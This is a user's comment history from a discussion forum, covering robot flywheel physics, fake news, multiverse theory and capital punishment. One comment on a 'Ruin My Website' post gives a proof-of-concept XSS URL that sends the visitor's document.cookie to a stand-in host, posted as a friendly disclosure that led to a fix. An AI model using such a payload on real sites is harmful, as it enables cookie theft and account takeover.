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acyclicks

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Do you think fake news isn't an issue, or just that the PropOrNot list is too aggressive?

I've only just started worrying about fake news as a real issue after NYT posted an article today on a fake news article Flynn tweeted.

The article doesn't make any claims that are easy to fact check. They claim to have received their information directly from NYPD. But their domain was only registered in March, and they've chosen to use domainsbyproxy to hide their identities. The only contact information I can find for them is their News Tips page, which is just an email contact form, and a map showing they are located in Philadelphia, but no specific address. It seems really unlikely to me that NYPD would choose to send this information exclusively to this brand new Philadelphia website with no contact information

It's so much effort to debunk these articles. Do you think that evidence is even convincing enough?

acyclicks  ·  3137 days ago  ·  link  ·    ·  parent  ·  post: Boston Dynamics: ATLAS bipedal robot

Me too. Your gyroscope idea had just been attacked, and it was unfair of me to jump in to the middle of it arguing in favor of the technical correctness of your attacker's points.

acyclicks  ·  3141 days ago  ·  link  ·    ·  parent  ·  post: Boston Dynamics: ATLAS bipedal robot

> Why put the flywheel close to the head?

Just thought it was good imagery. It didn't really matter if it's at the hips or head for that model.

> 4kg flywheel spinning at, usually, 2000 to 6000 RPM

Assuming a 12 inch flywheel and 6000 RPM, that's roughly equivalent to 4kg moving at 200MPH. Roughly 2% of the kinetic energy of a subcompact moving at 25mph. So I mean, it's not incredibly significant.

Anyways, we all took the same physics classes as you. Nobody is arguing with you that rotational energy doesn't effect linear motion in an inertial reference frame in a frictionless vacuum.

> We don't lean forwards just to walk

We definitely shift our center of mass in the direction of acceleration to accelerate. You don't have to call it leaning, and you could implement a robot whose torso remains upright while shifting its center of mass forwards, but you have to agree with me on this one.

I feel like we're having different arguments here. I'm trying to come up with some plausible model of what klienbl00 could have meant when he said a flywheel could resist linear motion. Obviously our high school physics knowledge makes that sound implausible, but I was having fun trying to come up with an explanation other than "no you're wrong".

I was frustrated by statements like "the body would have no trouble applying the force necessary" and "doesn't create as much torque as you believe", because I was shooting for an explanation of any possible resistance, not just sufficient resistance to make a flywheel-balanced bipedal robot infeasible.

acyclicks  ·  3143 days ago  ·  link  ·    ·  parent  ·  post: Boston Dynamics: ATLAS bipedal robot

Maybe I have a more plausible explanation:

You have a humanoid robot with a flywheel parallel to the ground for a head. You want him to move forward. To move forward, force is applied by the robot's feet to the ground. This is not happening at the robot's center of mass, so torque is applied to the system. This torque needs to be matched by the flywheel. Maybe that dynamic causes resistance of lateral movement.

Airplanes and cars would be mostly exempt because their flywheels don't have much angular momentum, and their torque is overcome in other ways. Airplanes would be doubly exempt because their lateral force is applied near their center of mass.

I don't really know anything, and that might have been totally wrong.

On the point-by-point:

- Earth's surface and orbit are not inertial frames due to the rotation. Lateral motion on earth's surface also implies rotation, as it is a sphere. If the robot wanted to travel 12k miles in any direction, it would need to overcome a half rotation of its flywheel. Also it would constantly want to fall down as the earth rotated.

- I just meant the inertia from the flywheel's mass alone. Unless my model above is correct, I agree the mass spinning shouldn't make any difference.

- I agree pivoting about the vertical axis is the most obviously important rotation for bipedal motion. But I think the tilt-starts and tilt-turns might be an important part of bipedal motion as well. Since all the transational force is originating at the feet, you need some way to overcome that torque. You can do it by tilting the center of mass in to the direction of travel, or try to compensate with a flywheel, or maybe attach a propeller to the robot's nose.

acyclicks  ·  3143 days ago  ·  link  ·    ·  parent  ·  post: Boston Dynamics: ATLAS bipedal robot

The ISS example is really cool, thank you. I had been trying to work out the name for that type of control.

acyclicks  ·  3143 days ago  ·  link  ·    ·  parent  ·  post: Boston Dynamics: ATLAS bipedal robot

Some options:

- Earth's surface and orbit are not inertial reference frames. Probably negligible effect.

- The flywheel would have mass, and would resist lateral acceleration just because of its momentum.

- Maybe some rotational movement is inherent to bipedal locomotion. You mention a 5 degree rotation in the hips which might need to act against the flywheel.

- "Dynamics was 18 years ago"

- I never took dynamics and am missing something

acyclicks  ·  3143 days ago  ·  link  ·    ·  parent  ·  post: Boston Dynamics: ATLAS bipedal robot

I wonder if Killerhurtz could be talking about a gimbal mounted flywheel system normally allowed to rotate freely, but engaged to provide balance.

I can't find any examples of flywheels being used that way, so that must be impractical as well for some reason. Maybe the space/weight constraints of needing a flywheel mounted in a sphere per axis, or maybe this scheme would impart some angular momentum on the robot during stabilization?

acyclicks  ·  3154 days ago  ·  link  ·    ·  parent  ·  post: Japanese Bug Fights

I don't know much about ethics, but it's painful to watch beautiful things be destroyed. It's reminiscent of a child pulling wings off a moth. It's suggestive of a disregard for life that lessens the surprise of hearing about the Mike Brown vs Darren Wilson fight.

However, I watched a fight between a blue crustacean and a scorpion, and the intelligence displayed was fascinating. Both of them were heavily armored relative to their offensive capabilities. After flailing around for some time, the scorpion zeroed in on the lobster's eyes and joints, securing the win. It was really interesting to see how dexterous the scorpion's stinger was, and how quickly it adapted to such a novel opponent.

acyclicks  ·  3187 days ago  ·  link  ·    ·  parent  ·  post: Creator of Reddit Notes explains what he did at reddit and why he was hired

The 5k figure is just for one server, and it's 276 minutes instead of 476.

> you’re helping to pay for one of our many hundreds of servers to run for 4.6 hours.

Lower bound on "many hundreds" is probably around 300, meaning total costs are at least $2.2M, roughly at parity with your estimated payroll cost.

acyclicks  ·  3331 days ago  ·  link  ·    ·  parent  ·  post: Concealed Carry’s Body Count - NYTimes.com

I'm not sure what to make of these numbers. It comes out to less than 100 per year. There were 26 lightning deaths in the US in 2011, a record low. I understand it's only a partial survey, but I have no concept of what fraction of deaths are included, and the lower bound they present doesn't impress me.

It also seems disingenuous to include suicides in the top-level figure. Even if you believe gun control is a good way to improve quality of life for the suicidal, concealed carry is completely extraneous.

edit: I previously wrote "less than 10 per year". 100 per year is a little more impressive.

acyclicks  ·  3333 days ago  ·  link  ·    ·  parent  ·  post: Arthur Ganson: Machine with Concrete

I like these two as well:

vs

acyclicks  ·  3334 days ago  ·  link  ·    ·  parent  ·  post: Ruin My Website

That was fast. Thanks for the credit. It is a fun script.

I had the xkcd substitutions extension installed for nearly a year. The car -> cat substitution was the worst. Parsing the word "cat" took quite a bit of extra effort, even in print.

acyclicks  ·  3334 days ago  ·  link  ·    ·  parent  ·  post: Ruin My Website

Yeah, I was thinking of someone injecting some JS code into a link, and getting you to click on it. If you have no dynamic content on the domain, then you should be safe. Also I can't imagine anyone would normally bother; I just genuinely found the title+exploit combination funny.

POC:

https://www.fuzzjunket.com/ruin-my-website/?October=%3Cimg%20src%3D%22empty.gif%22%20onerror%3D%22this.src%3D%27//example.com/%27%20%2B%20document.cookie;%22%20/%3E

Html encoding the string before doing the replacement should fix it if you can be bothered.

Pseudo-edit: Just saw you already pushed a fix. That was fast. The POC did work before the fix.

acyclicks  ·  3334 days ago  ·  link  ·    ·  parent  ·  post: Ruin My Website

You've written a blog post titled "Ruin My Website" detailing an XSS vulnerability you've added to your website. It's really funny.

It is easy to create a replacement that sends your cookies off to an attacker's website. Someone could send you a shortened link to a malicious replacement on twitter, or maybe right here. Depending on how your website is laid out, those cookies are likely to give an attacker access to your admin console.

acyclicks  ·  3341 days ago  ·  link  ·    ·  parent  ·  post: Ask Ethan #73: The Multiverse and you — Starts With A Bang! — Medium

So, I learned a lot from this article about the expansion and origin of the universe, but his understanding of many-worlds / multiverse seems a little off.

    And if the Universes are all the same as one another as far as physical laws go, and if the number of these Universes is truly infinite, and if the many-world interpretation of quantum mechanics is completely valid, does that mean that there are parallel Universes out there, where everything in it evolved exactly the same as our own Universe did, except one tiny quantum outcome was different?

The talk was by Max Tegmark, and Tegmark's multiverse model covers several layers of multiverses, ranging from highly-probable to highly-speculative. The article only talks about the level I multiverse: space outside our observable universe. Level II is a more traditional multiverse, with different universes arising from different big-bang events.

The many-worlds interpretation doesn't come in play until Level III, and has nothing to do with the expansion of space. As I understand it, the many-worlds interpretation suggests that any time a quantum event might happen, the universe splits in two. The event occurs in one universe, and doesn't in the other. This is the level where you get crazy terrifying effects like quantum immortality.

Level IV is basically platonic realism, where anything that is possible exists. In Tegmark's version, "anything that is possible" is replaced with "anything that can be mathematically modeled". An interesting consequence of this level concerns the morality of simulating a suffering mind. At this level of multiverse, simulating a suffering mind doesn't cause that suffering to occur; It just allows observation of that suffering, which already exists.

I've been wanting to create a "quantum life insurance" business. I would buy a quantum hardware RNG, and every day generate a few hundred megabytes of random data. I would then run that data as an executable on my computer, and see if I had discovered strong ai. If I had, I'd ask it to develop the ability to scan and simulate human minds, and I'd upload the minds of my subscribers. It seems like this should actually work if the level III many-worlds interpretation is correct, but would be unnecessary under the level IV model.

acyclicks  ·  3344 days ago  ·  link  ·    ·  parent  ·  post: There Is No Humane Way to Execute Criminals

I agree that even if you considered the point of prison to be quarantine, it would still be a punishment. However, if your goal is quarantine rather than punishment, you don't need to choose the solution that maximizes suffering.

I disagree that death is only acutely threatening if there is something after it. It depends very much on how highly you value your remaining lifespan. Right now, I'm enjoying life, and I'd be more disappointed about my reduced lifespan than afraid of the transition. This is actually pretty new to me; l I feel like I understand where you're coming from. Not sure what else to say about that. Feelings of solidarity and respect.

It's not even clear to me that a life sentence in prison would necessarily be a net negative. I'm sure there would be some suffering, but hedonic adaptation would have your back, and I hear some people get to read a lot.

acyclicks  ·  3344 days ago  ·  link  ·    ·  parent  ·  post: There Is No Humane Way to Execute Criminals

A third answer might be Quarantine, and certainly death is the ultimate quarantine. I could see it giving a victim some peace of mind to know for sure that an assailant isn't coming back.

Death might also be more acutely threatening than captivity as a consequence of a crime. I'm not even sure which I would pick to suffer if given the choice.

acyclicks  ·  3347 days ago  ·  link  ·    ·  parent  ·  post: Danish “Archer” Demonstrates Gullibility of Audience

Yup. Lars is a LAPRer. Claus Raasted seems to be his PR agent and the producer of the video. Claus doesn't seem terribly pretentious in his other videos.

A perspective I find interesting:

The payload of the video is to make you want to watch him perform in a LARP, or maybe book him for a corporate demonstration and archery lesson. The debunking did nothing to convince me Lars wouldn't be a fantastically entertaining LARPer. The article only debunked the viral mechanism, which has already done its job.

That's not to say the debunking isn't valuable. It will make it's rounds clearing up misconceptions, inoculating against similar attack vectors, and giving geekdad a nice pageview boost.

acyclicks  ·  3348 days ago  ·  link  ·    ·  parent  ·  post: Why I Am Not a Maker

The first part of her essay reminds me of Paul Graham's "Keep Your Identity Small". Tying your identity to any group predisposes you to us-vs-them thinking. Identifying as "a maker" might seem particularly distasteful because maker vs. non-maker is a decent proxy for rich vs poor.

    As a teenager, I read Ayn Rand on how any work that needed to be done day after day was meaningless, and that only creating new things was a worthwhile endeavor.

    People have happily informed me that I am a maker because I use phrases like "design learning experiences," which is mistaking what I do (teaching) for what I’m actually trying to help elicit (learning).

This is sort of interesting. A man who makes a toaster creates a long-lived artifact used to create an ephemeral product (toast). She creates an ephemeral product used to create a long-lived artifact (education). I intended to argue that she is a maker in that Randian sense, but I guess I understand her point now.

    A quote often attributed to Gloria Steinem says: “We’ve begun to raise daughters more like sons... but few have the courage to raise our sons more like our daughters.”

This seems pretty fundamental. Supply and demand seem to currently favor "sons" over "daughters", and capitalism preferentially fulfills the wants of the economically valuable. So of course we are more likely to raise our daughters like sons than sons like daughters. We want the best for our children.

From the audio track:

    There are even myths of archers being able to catch an enemy's arrow, and shoot it back at him. Lars took it a step further, and is now able to catch an arrow while jumping, and fire it before he hits the ground.

It also mentions his ability to hit his own arrows mid-flight, and split incoming arrows with his own.

acyclicks  ·  3351 days ago  ·  link  ·    ·  parent  ·  post: Lecture 17: Fun With the Anthropic Principle

Yeah, agreed. Would much prefer to just read his outline.

acyclicks  ·  3351 days ago  ·  link  ·    ·  parent  ·  post: Lecture 17: Fun With the Anthropic Principle

It's strange to me that God's Debris would have lowered your opinion of Scott. Much of the criticism in that thread seemed based around flaws in Avatar's assertions/logic, which I thought was sort of the point.

    The central character states a number of scientific “facts.” Some of his weirdest statements are consistent with what scientists generally believe. Some of what he says is creative baloney designed to sound true. See if you can tell the difference.

I'm only a third of the way through, but he seems to just be giving a brief introduction to a philosophical concept he finds interesting, and then providing a simple "answer" to seed thought. My main complaint so far is that I'm already familiar with most of the concepts he brings up, and I'm not finding many of the seed answers novel or compelling.

However, I would have loved this 5-10 years ago. I've enjoyed thinking about these concepts as I've come across them. It doesn't really seem like Scott's fault that I'm no longer in the target audience.